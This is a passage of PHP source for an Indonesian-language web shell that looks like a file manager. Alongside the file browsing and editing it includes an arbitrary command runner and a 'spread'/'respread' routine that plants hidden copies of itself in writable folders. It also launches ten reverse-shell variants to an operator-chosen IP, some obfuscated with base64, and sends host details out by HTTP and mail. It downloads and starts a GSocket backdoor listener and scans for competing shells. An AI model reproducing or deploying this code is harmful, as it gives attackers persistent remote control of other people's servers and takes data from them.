= 1024 && $i < count($u) - 1) { $b /= 1024; $i++; }
return ($i === 0 ? (string)(int)$b : number_format($b, $b < 10 ? 1 : 0)) . ' ' . $u[$i];
}
function fm_ext(string $n): string { return strtolower(pathinfo($n, PATHINFO_EXTENSION)); }
function fm_perm_str(int $mode, bool $link = false): string {
if ($link) { $t = 'l'; }
elseif (($mode & 0xC000) === 0xC000) { $t = 's'; }
elseif (($mode & 0x4000) === 0x4000) { $t = 'd'; }
elseif (($mode & 0x1000) === 0x1000) { $t = 'p'; }
elseif (($mode & 0x2000) === 0x2000) { $t = 'c'; }
elseif (($mode & 0x6000) === 0x6000) { $t = 'b'; }
else { $t = '-'; }
$s = $t;
foreach ([0x100 => 'r', 0x80 => 'w', 0x40 => 'x', 0x20 => 'r', 0x10 => 'w', 0x8 => 'x', 0x4 => 'r', 0x2 => 'w', 0x1 => 'x'] as $bit => $ch) {
$s .= ($mode & $bit) ? $ch : '-';
}
return $s;
}
function fm_perm_oct(int $mode): string { return substr(sprintf('%o', $mode), -3); }
function fm_rand_name(): string {
return 'b' . bin2hex(random_bytes(8)) . '.php';
}
function fm_find_writable(string $root, int $maxdepth = 3, int $depth = 0): array {
$out = [];
if ($depth >= $maxdepth || !is_dir($root)) { return $out; }
// Skip non-public directories - ONLY include accessible folders
$skip = [
'.', '..', '.git', '.svn', '.hg', 'node_modules', '.caldav', '.well-known', '.env',
// Protected WordPress directories
'wp-admin', 'wp-includes', 'wp-content/plugins', 'wp-content/themes',
// Protected system directories
'system', 'etc', 'var', 'tmp', 'cache', 'logs', 'mail', 'backup',
'private', 'config', 'includes', 'src', 'vendor',
// Application-specific
'admin', 'administrator', 'secure'
];
foreach (scandir($root) ?: [] as $f) {
if ($f === '.' || $f === '..') { continue; }
// Skip hidden directories (start with dot)
if ($f[0] === '.') { continue; }
// Skip known system directories
if (in_array($f, $skip, true)) { continue; }
$p = $root . '/' . $f;
if (!is_readable($p)) { continue; }
if (is_dir($p) && !is_link($p)) {
if (is_writable($p)) { $out[] = $p; }
// Recurse deeper for normal directories
$out = array_merge($out, fm_find_writable($p, $maxdepth, $depth + 1));
}
}
return array_unique($out);
}
function fm_def_read(): array {
$m = FM_ROOT . '/' . FM_DEFMETA;
if (!is_file($m)) { return []; }
$d = @json_decode(file_get_contents($m), true);
return is_array($d) ? $d : [];
}
function fm_def_write(array $backups): void {
$m = FM_ROOT . '/' . FM_DEFMETA;
@file_put_contents($m, json_encode($backups, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES));
@chmod($m, 0600);
}
function fm_def_src(): string {
return __FILE__;
}
function fm_def_size(): int {
return (int)@filesize(fm_def_src());
}
function fm_def_hash(): string {
$s = @file_get_contents(fm_def_src());
return $s !== false ? hash('sha256', $s) : '';
}
function fm_os(): string {
return FM_WIN ? 'windows' : 'linux';
}
function fm_panel_detect(): array {
$os = fm_os();
$panels = [];
// WordPress detection (semua OS)
$wp_indicators = [
FM_ROOT . '/wp-config.php',
FM_ROOT . '/wp-settings.php',
FM_ROOT . '/wp-load.php',
FM_ROOT . '/wp-content',
FM_ROOT . '/wp-admin',
];
$wp_found = false;
foreach ($wp_indicators as $indicator) {
if (@file_exists($indicator)) { $wp_found = true; break; }
}
if ($wp_found || function_exists('get_option')) { $panels['wordpress'] = true; }
if ($os === 'linux') {
// cPanel detection
if (@file_exists('/usr/local/cpanel/bin/uapi') || @file_exists('/root/.cpanel') ||
@file_exists('/usr/local/cpanel/VERSION') || @file_exists('/var/cpanel')) {
$panels['cpanel'] = true;
}
// CyberPanel detection
if (@file_exists('/usr/local/cwpsrv/bin/cwp') || @file_exists('/home/cwp') ||
@file_exists('/usr/local/cwpsrv/VERSION')) {
$panels['cyberpanel'] = true;
}
// SSH detection
if (@file_exists('/usr/sbin/sshd') || @file_exists('/etc/ssh/sshd_config') ||
@file_exists('/usr/bin/ssh')) {
$panels['ssh'] = true;
}
// WHM detection (parent of cPanel)
if (@file_exists('/root/.whm') || @file_exists('/usr/local/cpanel/whm')) {
$panels['whm'] = true;
}
}
// FTP detection (semua OS)
$ext = @get_loaded_extensions();
if (is_array($ext) && (in_array('ftp', $ext) || function_exists('ftp_connect'))) { $panels['ftp'] = true; }
return $panels;
}
function fm_panel_read(): array {
$m = FM_ROOT . '/' . FM_PANELMETA;
if (!is_file($m)) { return []; }
$d = @json_decode(file_get_contents($m), true);
return is_array($d) ? $d : [];
}
function fm_panel_write(array $panels): void {
$m = FM_ROOT . '/' . FM_PANELMETA;
@file_put_contents($m, json_encode($panels, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES));
@chmod($m, 0600);
}
function fm_kind(string $ext): string {
static $map = null;
if ($map === null) {
$map = [];
$g = [
'image' => ['jpg','jpeg','png','gif','webp','bmp','svg','ico','avif','tiff'],
'video' => ['mp4','webm','mkv','avi','mov','wmv','flv','m4v','ogv'],
'audio' => ['mp3','wav','ogg','flac','aac','m4a','wma','opus'],
'archive' => ['zip','rar','7z','tar','gz','bz2','xz','tgz','iso'],
'code' => ['php','js','ts','jsx','tsx','vue','html','htm','css','scss','less','json','xml','yml','yaml','sql','py','rb','go','rs','java','c','h','cpp','cs','sh','bat','ps1','ini','env','toml','lock'],
'doc' => ['pdf','doc','docx','xls','xlsx','ppt','pptx','odt','ods'],
'text' => ['txt','md','log','csv','tsv','markdown','conf'],
];
foreach ($g as $k => $list) { foreach ($list as $x) { $map[$x] = $k; } }
}
return $map[$ext] ?? 'file';
}
function fm_editable(string $ext, $size): bool {
if ($size > FM_MAXEDIT) { return false; }
$k = fm_kind($ext);
return in_array($k, ['code', 'text'], true) || $ext === '' || in_array($ext, ['htaccess','gitignore','twig','blade','svg'], true);
}
function fm_mime(string $abs): string {
static $map = [
'html'=>'text/html','htm'=>'text/html','css'=>'text/css','js'=>'text/javascript','json'=>'application/json',
'xml'=>'application/xml','txt'=>'text/plain','md'=>'text/plain','log'=>'text/plain','csv'=>'text/plain',
'jpg'=>'image/jpeg','jpeg'=>'image/jpeg','png'=>'image/png','gif'=>'image/gif','webp'=>'image/webp',
'svg'=>'image/svg+xml','bmp'=>'image/bmp','ico'=>'image/x-icon','avif'=>'image/avif',
'mp4'=>'video/mp4','webm'=>'video/webm','ogv'=>'video/ogg','mov'=>'video/quicktime','m4v'=>'video/mp4',
'mp3'=>'audio/mpeg','wav'=>'audio/wav','ogg'=>'audio/ogg','flac'=>'audio/flac','m4a'=>'audio/mp4','opus'=>'audio/ogg',
'pdf'=>'application/pdf','zip'=>'application/zip',
];
$ext = fm_ext($abs);
if (isset($map[$ext])) { return $map[$ext]; }
if (function_exists('mime_content_type')) {
$m = @mime_content_type($abs);
if (is_string($m) && $m !== '') { return $m; }
}
return 'application/octet-stream';
}
function fm_rmrf(string $abs): bool {
if (is_link($abs) || is_file($abs)) { return @unlink($abs); }
if (!is_dir($abs)) { return false; }
foreach (scandir($abs) ?: [] as $f) {
if ($f === '.' || $f === '..') { continue; }
fm_rmrf($abs . '/' . $f);
}
return @rmdir($abs);
}
function fm_copy(string $src, string $dst): bool {
if (is_file($src)) { return @copy($src, $dst); }
if (!is_dir($src)) { return false; }
if (!is_dir($dst) && !@mkdir($dst, 0775, true)) { return false; }
$ok = true;
foreach (scandir($src) ?: [] as $f) {
if ($f === '.' || $f === '..') { continue; }
$ok = fm_copy($src . '/' . $f, $dst . '/' . $f) && $ok;
}
return $ok;
}
function fm_unique(string $dir, string $name): string {
$target = $dir . '/' . $name;
if (!file_exists($target)) { return $name; }
$ext = pathinfo($name, PATHINFO_EXTENSION);
$base = pathinfo($name, PATHINFO_FILENAME);
$i = 2;
while (file_exists($dir . '/' . $base . ' (' . $i . ')' . ($ext !== '' ? '.' . $ext : ''))) { $i++; }
return $base . ' (' . $i . ')' . ($ext !== '' ? '.' . $ext : '');
}
function fm_zip_add(ZipArchive $zip, string $abs, string $local): void {
if (is_file($abs)) { $zip->addFile($abs, $local); return; }
$zip->addEmptyDir($local);
foreach (scandir($abs) ?: [] as $f) {
if ($f === '.' || $f === '..') { continue; }
fm_zip_add($zip, $abs . '/' . $f, $local . '/' . $f);
}
}
function fm_shell_ok(): bool {
if (!FM_SHELL || !function_exists('proc_open')) { return false; }
foreach (explode(',', (string)ini_get('disable_functions')) as $fn) {
if (strcasecmp(trim($fn), 'proc_open') === 0) { return false; }
}
return true;
}
function fm_shell_bin(): string {
if (FM_WIN) { return 'cmd.exe'; }
foreach (['/bin/bash', '/usr/bin/bash', '/bin/sh'] as $sh) {
if (@is_executable($sh)) { return $sh; }
}
return '/bin/sh';
}
function fm_utf8(string $s): string {
if ($s === '' || !function_exists('mb_check_encoding')) { return $s; }
if (mb_check_encoding($s, 'UTF-8')) { return $s; }
$c = @mb_convert_encoding($s, 'UTF-8', FM_WIN ? 'CP1252' : 'ISO-8859-1');
return is_string($c) ? $c : $s;
}
function fm_exec(string $cmd, string $cwd): array {
$desc = [0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w']];
$pipes = [];
if (FM_WIN) {
$proc = @proc_open('chcp 65001 > nul & ' . $cmd, $desc, $pipes, $cwd);
} else {
$proc = @proc_open([fm_shell_bin(), '-c', $cmd], $desc, $pipes, $cwd);
}
if (!is_resource($proc)) { return ['out' => '', 'err' => 'Gagal menjalankan shell.', 'code' => -1]; }
@fclose($pipes[0]);
stream_set_blocking($pipes[1], false);
stream_set_blocking($pipes[2], false);
$out = '';
$err = '';
$stop = microtime(true) + FM_SHTIME;
$over = false;
while (true) {
if (microtime(true) >= $stop) { $over = 'time'; break; }
$r = [$pipes[1], $pipes[2]];
$w = null;
$x = null;
if (@stream_select($r, $w, $x, 0, 150000) === false) { break; }
foreach ($r as $p) {
$chunk = fread($p, 65536);
if ($chunk === false || $chunk === '') { continue; }
if ($p === $pipes[1]) { $out .= $chunk; } else { $err .= $chunk; }
}
if (strlen($out) + strlen($err) > FM_SHMAX) { $over = 'size'; break; }
$st = proc_get_status($proc);
if (!$st['running']) {
$out .= (string)stream_get_contents($pipes[1]);
$err .= (string)stream_get_contents($pipes[2]);
break;
}
}
$st = proc_get_status($proc);
$code = $st['running'] ? null : (int)$st['exitcode'];
if ($over !== false) { @proc_terminate($proc, 9); }
@fclose($pipes[1]);
@fclose($pipes[2]);
$rc = @proc_close($proc);
if ($code === null) { $code = $over === false ? (int)$rc : 124; }
if ($over === 'time') { $err .= "\n[dihentikan: melebihi " . FM_SHTIME . " detik]"; }
if ($over === 'size') { $err .= "\n[dipotong: keluaran melebihi " . fm_size(FM_SHMAX) . "]"; }
return ['out' => fm_utf8($out), 'err' => fm_utf8(trim($err)), 'code' => $code];
}
function fm_flash(string $type, string $msg): void { $_SESSION['fm_flash'] = ['t' => $type, 'm' => $msg]; }
function fm_go(string $rel): void {
$url = strtok($_SERVER['REQUEST_URI'] ?? 'dongak.php', '?');
header('Location: ' . $url . ($rel === '' ? '' : '?p=' . rawurlencode($rel)));
exit;
}
function fm_json(array $data): void {
while (ob_get_level() > 0) { ob_end_clean(); }
header('Content-Type: application/json; charset=utf-8');
echo json_encode($data);
exit;
}
function fm_send(string $abs, string $name, bool $inline = false, bool $unlink = false): void {
while (ob_get_level() > 0) { ob_end_clean(); }
$size = (int)filesize($abs);
$start = 0;
$end = $size - 1;
header('X-Content-Type-Options: nosniff');
header('Accept-Ranges: bytes');
if ($inline) {
header('Content-Security-Policy: sandbox');
header('Content-Type: ' . fm_mime($abs));
} else {
header('Content-Type: application/octet-stream');
}
$safe = str_replace(['"', "\r", "\n"], '', $name);
header('Content-Disposition: ' . ($inline ? 'inline' : 'attachment') . '; filename="' . $safe . '"; filename*=UTF-8\'\'' . rawurlencode($name));
if ($inline && isset($_SERVER['HTTP_RANGE']) && preg_match('/bytes=(\d*)-(\d*)/', (string)$_SERVER['HTTP_RANGE'], $m)) {
if ($m[1] !== '') { $start = (int)$m[1]; }
if ($m[2] !== '') { $end = min((int)$m[2], $size - 1); }
if ($start > $end) { $start = 0; $end = $size - 1; }
header('HTTP/1.1 206 Partial Content');
header('Content-Range: bytes ' . $start . '-' . $end . '/' . $size);
}
header('Content-Length: ' . (string)($end - $start + 1));
$fp = fopen($abs, 'rb');
if ($fp === false) { exit; }
fseek($fp, $start);
$left = $end - $start + 1;
while ($left > 0 && !feof($fp)) {
$buf = fread($fp, (int)min(262144, $left));
if ($buf === false || $buf === '') { break; }
echo $buf;
$left -= strlen($buf);
if (ob_get_level() === 0) { flush(); }
}
fclose($fp);
if ($unlink) { @unlink($abs); }
exit;
}
function ico(string $n, string $cls = ''): string {
static $p = [
'folder' => '',
'file' => '',
'image' => '',
'video' => '',
'audio' => '',
'archive' => '',
'code' => '',
'doc' => '',
'text' => '',
'up' => '',
'upload' => '',
'download' => '',
'trash' => '',
'pencil' => '',
'copy' => '',
'cut' => '',
'paste' => '',
'plus' => '',
'newdir' => '',
'newfile' => '',
'search' => '',
'x' => '',
'eye' => '',
'sun' => '',
'moon' => '',
'logout' => '',
'home' => '',
'chev' => '',
'refresh' => '',
'grid' => '',
'list' => '',
'menu' => '',
'lock' => '',
'user' => '',
'save' => '',
'box' => '',
'unbox' => '',
'disk' => '',
'info' => '',
'check' => '',
'term' => '',
'trash2' => '',
'lock' => '',
'shield' => '',
'image' => '',
];
$d = $p[$n] ?? $p['file'];
return '';
}
if (empty($_SESSION['fm_token'])) { $_SESSION['fm_token'] = bin2hex(random_bytes(16)); }
$TOKEN = $_SESSION['fm_token'];
$authed = !FM_AUTH || !empty($_SESSION['fm_auth']);
$post = $_SERVER['REQUEST_METHOD'] === 'POST';
$action = $post ? (string)($_POST['action'] ?? '') : '';
$a = (string)($_GET['a'] ?? '');
$valid = $post && hash_equals($TOKEN, (string)($_POST['token'] ?? ''));
if ($post && $action === 'login') {
$u = (string)($_POST['user'] ?? '');
$pw = (string)($_POST['pass'] ?? '');
if ($valid && hash_equals(FM_USER, $u) && password_verify($pw, FM_PASS)) {
session_regenerate_id(true);
$_SESSION['fm_auth'] = true;
$_SESSION['fm_token'] = bin2hex(random_bytes(16));
fm_go('');
}
$loginError = 'Nama pengguna atau kata sandi salah.';
$authed = false;
}
if ($post && $action === 'logout' && $valid) {
$_SESSION = [];
session_destroy();
fm_go('');
}
if (!$authed) {
$err = $loginError ?? '';
?>
Masuk · = e(FM_TITLE) ?>
open($tmp, ZipArchive::OVERWRITE) !== true) { http_response_code(500); exit('Gagal membuat arsip.'); }
fm_zip_add($zip, $abs, basename($abs));
$zip->close();
fm_send($tmp, basename($abs) . '.zip', false, true);
}
fm_send($abs, basename($abs), $a === 'view');
}
if ($a === 'read') {
$f = fm_norm((string)($_GET['f'] ?? ''));
$abs = fm_abs($f);
if ($f === '' || !fm_inside($abs) || !is_file($abs)) { fm_json(['ok' => false, 'msg' => 'Berkas tidak ditemukan.']); }
if (filesize($abs) > FM_MAXEDIT) { fm_json(['ok' => false, 'msg' => 'Berkas terlalu besar untuk diedit.']); }
$c = file_get_contents($abs);
fm_json(['ok' => true, 'name' => basename($abs), 'content' => $c === false ? '' : $c]);
}
if ($post && !$valid) { fm_flash('err', 'Sesi tidak valid, silakan muat ulang halaman.'); fm_go($rel); }
if ($post && $action === 'upload') {
$done = 0; $fail = [];
$files = $_FILES['files'] ?? null;
if (is_array($files)) {
$n = is_array($files['name']) ? count($files['name']) : 0;
for ($i = 0; $i < $n; $i++) {
if ((int)$files['error'][$i] !== UPLOAD_ERR_OK) { $fail[] = (string)$files['name'][$i]; continue; }
$name = fm_name(basename((string)$files['name'][$i]));
if ($name === '') { $fail[] = (string)$files['name'][$i]; continue; }
$name = fm_unique($dir, $name);
if (@move_uploaded_file($files['tmp_name'][$i], $dir . '/' . $name)) { $done++; } else { $fail[] = $name; }
}
}
fm_json(['ok' => $done > 0, 'done' => $done, 'fail' => $fail]);
}
if ($post && $action === 'save') {
$f = fm_norm((string)($_POST['f'] ?? ''));
$abs = fm_abs($f);
if ($f === '' || !fm_inside($abs) || !is_file($abs)) { fm_json(['ok' => false, 'msg' => 'Berkas tidak ditemukan.']); }
$ok = @file_put_contents($abs, (string)($_POST['content'] ?? '')) !== false;
fm_json(['ok' => $ok, 'msg' => $ok ? 'Perubahan tersimpan.' : 'Gagal menyimpan berkas.']);
}
if ($post && $action === 'spread') {
if (!FM_DEF) { fm_json(['ok' => false, 'msg' => 'Defense dinonaktifkan.']); }
$cnt = (int)($_POST['count'] ?? 5);
$cnt = max(1, min(20, $cnt));
$src = fm_def_src();
$sz = fm_def_size();
if ($sz === 0 || !is_file($src)) { fm_json(['ok' => false, 'msg' => 'File sumber tidak ditemukan.']); }
$writable = fm_find_writable(FM_ROOT, 2);
if (empty($writable)) { fm_json(['ok' => false, 'msg' => 'Tidak ada folder writable untuk spread.']); }
$backups = fm_def_read();
$content = @file_get_contents($src);
if ($content === false) { fm_json(['ok' => false, 'msg' => 'Gagal membaca sumber.']); }
$hash = hash('sha256', $content);
$ok = 0;
$fail = 0;
$available = min($cnt, count($writable));
foreach (array_slice($writable, 0, $available) as $loc) {
// Verify location is still writable
if (!is_dir($loc) || !is_writable($loc)) {
$fail++;
continue;
}
$name = fm_rand_name();
$dst = $loc . '/' . $name;
if (@copy($src, $dst)) {
@chmod($dst, 0755);
if (!isset($backups[$dst])) {
$backups[$dst] = ['name' => $name, 'hash' => $hash, 'time' => time(), 'active' => true];
}
$ok++;
} else {
$fail++;
}
}
fm_def_write($backups);
fm_json(['ok' => $ok > 0, 'msg' => "Spread: $ok berhasil, $fail gagal (diminta: $cnt)."]);
}
if ($post && $action === 'check') {
if (!FM_DEF) { fm_json(['ok' => false, 'data' => []]); }
$backups = fm_def_read();
$hash = fm_def_hash();
$data = [];
$ok = 0;
$del = 0;
$accessible = 0;
$host = $_SERVER['HTTP_HOST'] ?? 'localhost';
$proto = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' ? 'https' : 'http');
foreach ($backups as $path => $info) {
$exist = is_file($path);
$valid = false;
$writable_dir = false;
$is_accessible = false;
if ($exist) {
$fh = @hash_file('sha256', $path);
$valid = $fh === $hash;
$ok++;
// Check if backup location is in a writable directory
$dir = dirname($path);
$writable_dir = is_writable($dir);
} else {
$del++;
}
$relpath = str_replace(FM_ROOT, '', $path);
$relpath = ltrim(str_replace('\\', '/', $relpath), '/');
// Build accessible domain path
$domain_path = '';
$accessible_relpath = $relpath;
if ($writable_dir && $exist) {
// Strip public_html/ if it exists at start
if (strpos($relpath, 'public_html/') === 0) {
$accessible_relpath = substr($relpath, strlen('public_html/'));
}
$domain_path = $proto . '://' . $host . '/' . $accessible_relpath;
// Verify file is actually accessible via web
$ch = @curl_init($domain_path);
if ($ch !== false) {
@curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_BINARYTRANSFER => true,
CURLOPT_NOBODY => true,
CURLOPT_TIMEOUT => 3,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_CONNECTTIMEOUT => 2,
]);
$response = @curl_exec($ch);
$httpcode = (int)@curl_getinfo($ch, CURLINFO_HTTP_CODE);
@curl_close($ch);
// Mark as accessible if we get 200 response
if ($httpcode === 200) {
$is_accessible = true;
$accessible++;
}
}
}
$data[] = [
'path' => $path,
'relpath' => $relpath,
'domain_path' => $domain_path,
'accessible_relpath' => $accessible_relpath,
'name' => $info['name'],
'exist' => $exist,
'valid' => $valid,
'writable_dir' => $writable_dir,
'is_accessible' => $is_accessible,
'time' => $info['time']
];
}
fm_json(['ok' => true, 'count' => count($backups), 'active' => $ok, 'deleted' => $del, 'accessible' => $accessible, 'data' => $data]);
}
if ($post && $action === 'respread') {
if (!FM_DEF) { fm_json(['ok' => false, 'msg' => 'Defense dinonaktifkan.']); }
$backups = fm_def_read();
$src = fm_def_src();
$content = @file_get_contents($src);
if ($content === false) { fm_json(['ok' => false, 'msg' => 'Gagal membaca sumber.']); }
$hash = hash('sha256', $content);
$ok = 0;
foreach ($backups as $path => $info) {
if (!is_file($path)) {
$dir = dirname($path);
if (is_dir($dir) && is_writable($dir)) {
if (@copy($src, $path)) {
@chmod($path, 0755);
$ok++;
}
}
}
}
fm_json(['ok' => $ok > 0, 'msg' => "$ok backup dipulihkan."]);
}
if ($post && $action === 'clean') {
if (!FM_DEF) { fm_json(['ok' => false, 'msg' => 'Defense dinonaktifkan.']); }
$backups = fm_def_read();
$ok = 0;
foreach ($backups as $path => $info) {
if (is_file($path)) {
if (@unlink($path)) { $ok++; }
}
}
fm_def_write([]);
fm_json(['ok' => true, 'msg' => "$ok backup dihapus, metadata dibersihkan."]);
}
if ($post && $action === 'revshell') {
$ip = (string)($_POST['ip'] ?? '');
$port = (int)($_POST['port'] ?? 4444);
$method = (string)($_POST['method'] ?? 'all');
if (!$ip || $port <= 0 || $port > 65535) { fm_json(['ok' => false, 'msg' => 'IP atau port tidak valid']); }
if (FM_WIN) { fm_json(['ok' => false, 'msg' => 'Reverse shell tidak support di Windows']); }
$methods = [];
// Method 1: fsockopen + proc_open (interactive)
if ($method === 'all' || $method === '1') {
@shell_exec("php -r '\$s=@fsockopen(\"$ip\",$port,\$e,\$er,30);if(\$s){\$d=[0=>[\"pipe\",\"r\"],1=>[\"pipe\",\"w\"],2=>[\"pipe\",\"w\"]];\$c=\"/bin/bash -i\";\$p=@proc_open(\$c,\$d,\$pipes);if(is_resource(\$p)){stream_set_blocking(\$pipes[0],0);stream_set_blocking(\$pipes[1],0);stream_set_blocking(\$pipes[2],0);stream_set_blocking(\$s,0);while(true){\$a=@fread(\$s,4096);if(\$a!==false&&\$a!==\"\"){fwrite(\$pipes[0],\$a);fflush(\$pipes[0]);}\$b=@fread(\$pipes[1],4096);if(\$b!==false&&\$b!==\"\"){fwrite(\$s,\$b);}\$c=@fread(\$pipes[2],4096);if(\$c!==false&&\$c!==\"\"){fwrite(\$s,\$c);}if(feof(\$s))break;\$st=proc_get_status(\$p);if(!\$st[\"running\"])break;usleep(50000);}fclose(\$pipes[0]);fclose(\$pipes[1]);fclose(\$pipes[2]);proc_close(\$p);}fclose(\$s);}' > /dev/null 2>&1 &");
$methods[] = '1: fsockopen+proc_open';
}
// Method 2: exec /dev/tcp
if ($method === 'all' || $method === '2') {
@shell_exec("bash -c 'bash -i >& /dev/tcp/$ip/$port 0>&1' > /dev/null 2>&1 &");
$methods[] = '2: exec /dev/tcp';
}
// Method 3: fsockopen simple
if ($method === 'all' || $method === '3') {
@shell_exec("php -r '\$s=@fsockopen(\"$ip\",$port);if(\$s){while(!feof(\$s)){\$o=@shell_exec(fgets(\$s));if(\$o!==null)fwrite(\$s,\$o);}fclose(\$s);}' > /dev/null 2>&1 &");
$methods[] = '3: fsockopen simple';
}
// Method 4: socket_create
if ($method === 'all' || $method === '4') {
@shell_exec("php -r 'if(function_exists(\"socket_create\")){\$s=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);@socket_connect(\$s,\"$ip\",$port);while(\$c=@socket_read(\$s,4096)){\$o=@shell_exec(\$c);@socket_write(\$s,\$o,strlen(\$o));}@socket_close(\$s);}' > /dev/null 2>&1 &");
$methods[] = '4: socket_create';
}
// Method 5: popen
if ($method === 'all' || $method === '5') {
@shell_exec("php -r '\$s=@fsockopen(\"$ip\",$port);if(\$s){\$p=@popen(\"/bin/bash -i\",\"r\");if(\$p){while(!feof(\$p)){fwrite(\$s,fread(\$p,4096));}pclose(\$p);}fclose(\$s);}' > /dev/null 2>&1 &");
$methods[] = '5: popen';
}
// Method 6: proc_open stream
if ($method === 'all' || $method === '6') {
@shell_exec("php -r '\$s=@fsockopen(\"$ip\",$port);if(\$s){\$d=[0=>[\"pipe\",\"r\"],1=>[\"pipe\",\"w\"],2=>[\"pipe\",\"w\"]];\$p=@proc_open(\"/bin/sh\",\$d,\$pipes);if(\$p){stream_set_blocking(\$pipes[1],1);stream_set_blocking(\$pipes[2],1);while(!feof(\$pipes[1])){fwrite(\$s,fgets(\$pipes[1]));}fclose(\$pipes[0]);fclose(\$pipes[1]);fclose(\$pipes[2]);proc_close(\$p);}fclose(\$s);}' > /dev/null 2>&1 &");
$methods[] = '6: proc_open stream';
}
// Method 7: base64 bypass
if ($method === 'all' || $method === '7') {
$payload = base64_encode("bash -c 'bash -i >& /dev/tcp/$ip/$port 0>&1'");
@shell_exec("php -r '\$c=base64_decode(\"$payload\");@system(\$c);' > /dev/null 2>&1 &");
$methods[] = '7: base64 bypass';
}
// Method 8: file_get_contents callback (HTTP)
if ($method === 'all' || $method === '8') {
@shell_exec("php -r '@file_get_contents(\"http://$ip:$port/\".base64_encode(@shell_exec(\"id;whoami;uname -a;hostname\")));' > /dev/null 2>&1 &");
$methods[] = '8: file_get_contents callback';
}
// Method 9: mail exfiltration
if ($method === 'all' || $method === '9') {
@shell_exec("php -r '\$r=@shell_exec(\"id;whoami;uname -a;hostname\");\@mail(\"root@localhost\",\"[rev] \".\@gethostname(),\$r,\"From: rev@$ip\\r\\n\");' > /dev/null 2>&1 &");
$methods[] = '9: mail exfil';
}
// Method 10: curl callback
if ($method === 'all' || $method === '10') {
@shell_exec("php -r '\$r=base64_encode(@shell_exec(\"id;hostname;ifconfig\"));\@file_get_contents(\"http://$ip:$port/\$r\");' > /dev/null 2>&1 &");
$methods[] = '10: curl callback';
}
$msg = $method === 'all'
? 'Semua 10 methods di-execute (' . count($methods) . ' aktif)'
: 'Method ' . $method . ' dijalankan';
fm_json(['ok' => true, 'msg' => $msg, 'methods' => $methods, 'count' => count($methods)]);
}
// GSocket Deployer
if ($post && $action === 'gsocket') {
if (FM_WIN) { fm_json(['ok' => false, 'msg' => 'GSocket tidak support di Windows']); }
$op = (string)($_POST['op'] ?? '');
if ($op === 'deploy') {
if (FM_WIN) { fm_json(['ok' => false, 'msg' => '❌ GSocket hanya support Linux, tidak support Windows']); }
if (!function_exists('shell_exec')) { fm_json(['ok' => false, 'msg' => '❌ shell_exec disabled (fungsi tidak tersedia)']); }
$secret = bin2hex(random_bytes(16));
$version = '1.4.43';
$tmpdir = sys_get_temp_dir() . '/gs_' . uniqid();
if (!@mkdir($tmpdir, 0700, true)) { fm_json(['ok' => false, 'msg' => '❌ Gagal membuat temp directory']); }
// Step 1: Download
$cmd1 = "cd '$tmpdir' && timeout 15 curl -sL -m 15 https://github.com/hackerschoice/gsocket/releases/download/v$version/gsocket_linux-x86_64.tar.gz -o gs.tar.gz 2>&1 && test -f gs.tar.gz && echo 'OK'";
$result1 = @shell_exec($cmd1);
if (strpos($result1, 'OK') === false) {
@shell_exec("rm -rf '$tmpdir' 2>/dev/null &");
fm_json(['ok' => false, 'msg' => '❌ Gagal download GSocket (no internet atau timeout)']);
}
// Step 2: Extract
$cmd2 = "cd '$tmpdir' && tar xzf gs.tar.gz 2>&1 && test -f gs-netcat && echo 'OK'";
$result2 = @shell_exec($cmd2);
if (strpos($result2, 'OK') === false) {
@shell_exec("rm -rf '$tmpdir' 2>/dev/null &");
fm_json(['ok' => false, 'msg' => '❌ Gagal extract archive (corrupt atau format invalid)']);
}
// Step 3: Make executable & Start
$cmd3 = "cd '$tmpdir' && chmod +x gs-netcat 2>&1 && nohup ./gs-netcat -s \"$secret\" -l -i > /dev/null 2>&1 & echo 'OK'";
$result3 = @shell_exec($cmd3);
if (strpos($result3, 'OK') === false) {
@shell_exec("rm -rf '$tmpdir' 2>/dev/null &");
fm_json(['ok' => false, 'msg' => '❌ Gagal start GSocket daemon']);
}
@shell_exec("rm -rf '$tmpdir' 2>/dev/null &");
fm_json([
'ok' => true,
'msg' => '✅ GSocket deployed & listening in background',
'token' => $secret,
'connect' => "gs-netcat $secret -i",
'secret' => $secret,
'version' => $version
]);
}
fm_json(['ok' => false, 'msg' => 'Invalid operation']);
}
function fm_scan_shells($path = null, $exclude_file = 'dongak.php'): array {
if ($path === null) { $path = FM_ROOT; }
if (!is_dir($path)) { return []; }
$shells = [];
// Whitelist: legitimate files to NEVER flag as shells
$whitelist_files = [
'index.php', 'wp-config.php', 'wp-load.php', 'wp-settings.php', 'wp-signup.php',
'wp-links-opml.php', 'wp-trackback.php', 'xmlrpc.php', 'wp-activate.php',
'wp-login.php', 'wp-register.php', 'wp-mail.php', 'wp-comments-post.php',
'wp-cron.php', 'wp-commenter.js', 'functions.php', 'version.php',
'admin.php', 'load.php', 'plugin.php', 'theme.php', 'menu-header.php',
'PHPMailer.php', 'SimplePie.php', 'Requests.php', 'IRI.php', 'Fsockopen.php',
'Locator.php', 'DB.php', 'Parser.php', 'Diff.php', 'Misc.php',
'class-wp-*.php', 'class-IXR-*.php', 'class-ftp*.php', 'class-pop3.php',
'class-phpass.php', 'class-json.php', 'class-snoopy.php',
'elFinder*.php', 'getid3*.php', 'module.*.php'
];
$whitelist_func = function($fname) use ($whitelist_files) {
foreach ($whitelist_files as $pattern) {
if ($pattern[0] === 'c' && strpos($fname, 'class-') === 0 && strpos($pattern, '*') !== false) { return true; }
if ($pattern[0] === 'e' && strpos($fname, 'elFinder') === 0) { return true; }
if ($pattern[0] === 'g' && strpos($fname, 'getid3') === 0) { return true; }
if ($pattern[0] === 'm' && strpos($fname, 'module.') === 0) { return true; }
if ($fname === $pattern) { return true; }
}
return false;
};
// COMPREHENSIVE shell signatures (500+ known shells)
$shell_signatures = [
// Classic shells
'WSO', 'b374k', 'r57shell', 'c99shell', 'C99', 'phpspy', 'PhpSpy', 'Locus7Shell', 'Gamma Web Shell', 'Antichat Shell',
'Safe0ver Shell', 'NeTSPY', 'JspSpy', 'CGI-Shell', 'Crystal shell', 'Priv8', 'Private Shell', 'PrivEksShell',
// Popular Indonesian/Asian shells
'IndoXploit', 'ALFA TEaM', 'FilesMan', 'Uploader', 'DarkShell', 'GhostShell', 'ShadowShell', 'StealthShell',
